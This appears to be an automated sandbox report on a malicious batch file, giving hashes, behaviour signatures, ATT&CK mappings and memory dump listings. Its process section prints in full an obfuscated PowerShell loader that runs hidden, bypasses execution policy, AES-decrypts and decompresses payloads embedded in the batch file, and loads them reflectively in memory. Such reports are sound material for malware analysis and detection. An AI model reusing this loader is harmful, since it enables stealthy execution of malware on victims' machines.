7fca260b4dbeac5ef0255577b3502e6658ca6661f80ad9583673f656c3e67a64

Analysis

max time kernel
28s
max time network
28s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
31-05-2024 22:32

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General

Target

$sxr-Uni2.bat
Size

796KB
MD5

03137a8d9aaa39d4266d6cafecc5ccb2
SHA1

65ab5f05615d7aeb12a8f64f2339af341172784d
SHA256

7fca260b4dbeac5ef0255577b3502e6658ca6661f80ad9583673f656c3e67a64
SHA512

a950fe4fcee799aec313c08dc93535f0af463ab3953fb054288230ed30099ff98de5e12a6485e35a11a90a1f41c3043f5270274d29de7ed25c98356015084226
SSDEEP

12288:sJOiyoo1m8Y8HvatsI8a0XNQ7UCPWa/9SC+KSXs+kYWjJ4rT+/mq6z4Q4uatxyG:sciyK8YzJ8BwUCPTwC+KysEWjG+D6l4b

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

892 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

892 powershell.exe
892 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 892 powershell.exe

pid	process
892	powershell.exe

pid	process
892	powershell.exe
892	powershell.exe

description	pid	process
Token: SeDebugPrivilege	892	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 4964 wrote to memory of 892	4964	cmd.exe	powershell.exe
PID 4964 wrote to memory of 892	4964	cmd.exe	powershell.exe
PID 4964 wrote to memory of 892	4964	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$sxr-Uni2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4964

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YdrnMYixViSdjvLypkvDjeezo9AbG2F3sYXUntuddvQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IBVidKouSC6beP8nLs4RNg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sjCYq=New-Object System.IO.MemoryStream(,$param_var); $HKxSP=New-Object System.IO.MemoryStream; $rfbZc=New-Object System.IO.Compression.GZipStream($sjCYq, [IO.Compression.CompressionMode]::Decompress); $rfbZc.CopyTo($HKxSP); $rfbZc.Dispose(); $sjCYq.Dispose(); $HKxSP.Dispose(); $HKxSP.ToArray();}function execute_function($param_var,$param2_var){ $qIGNe=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ELzZY=$qIGNe.EntryPoint; $ELzZY.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$sxr-Uni2.bat';$mxwBI=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$sxr-Uni2.bat').Split([Environment]::NewLine);foreach ($VNnmR in $mxwBI) { if ($VNnmR.StartsWith(':: ')) { $XFJot=$VNnmR.Substring(3); break; }}$payloads_var=[string[]]$XFJot.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oevnbub0.0vg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/892-0-0x0000000074F5E000-0x0000000074F5F000-memory.dmp

Filesize
4KB

Download
memory/892-1-0x00000000032E0000-0x0000000003316000-memory.dmp

Filesize
216KB

Download
memory/892-2-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/892-3-0x0000000074F50000-0x0000000075700000-memory.dmp

Filesize
7.7MB

Download
memory/892-4-0x0000000005A60000-0x0000000006088000-memory.dmp

Filesize
6.2MB

Download
memory/892-5-0x00000000060C0000-0x00000000060E2000-memory.dmp

Filesize
136KB

Download
memory/892-6-0x0000000006160000-0x00000000061C6000-memory.dmp

Filesize
408KB

Download
memory/892-7-0x00000000061D0000-0x0000000006236000-memory.dmp

Filesize
408KB

Download
memory/892-13-0x0000000006300000-0x0000000006654000-memory.dmp

Filesize
3.3MB

Download
memory/892-18-0x00000000067F0000-0x000000000680E000-memory.dmp

Filesize
120KB

Download
memory/892-19-0x00000000068C0000-0x000000000690C000-memory.dmp

Filesize
304KB

Download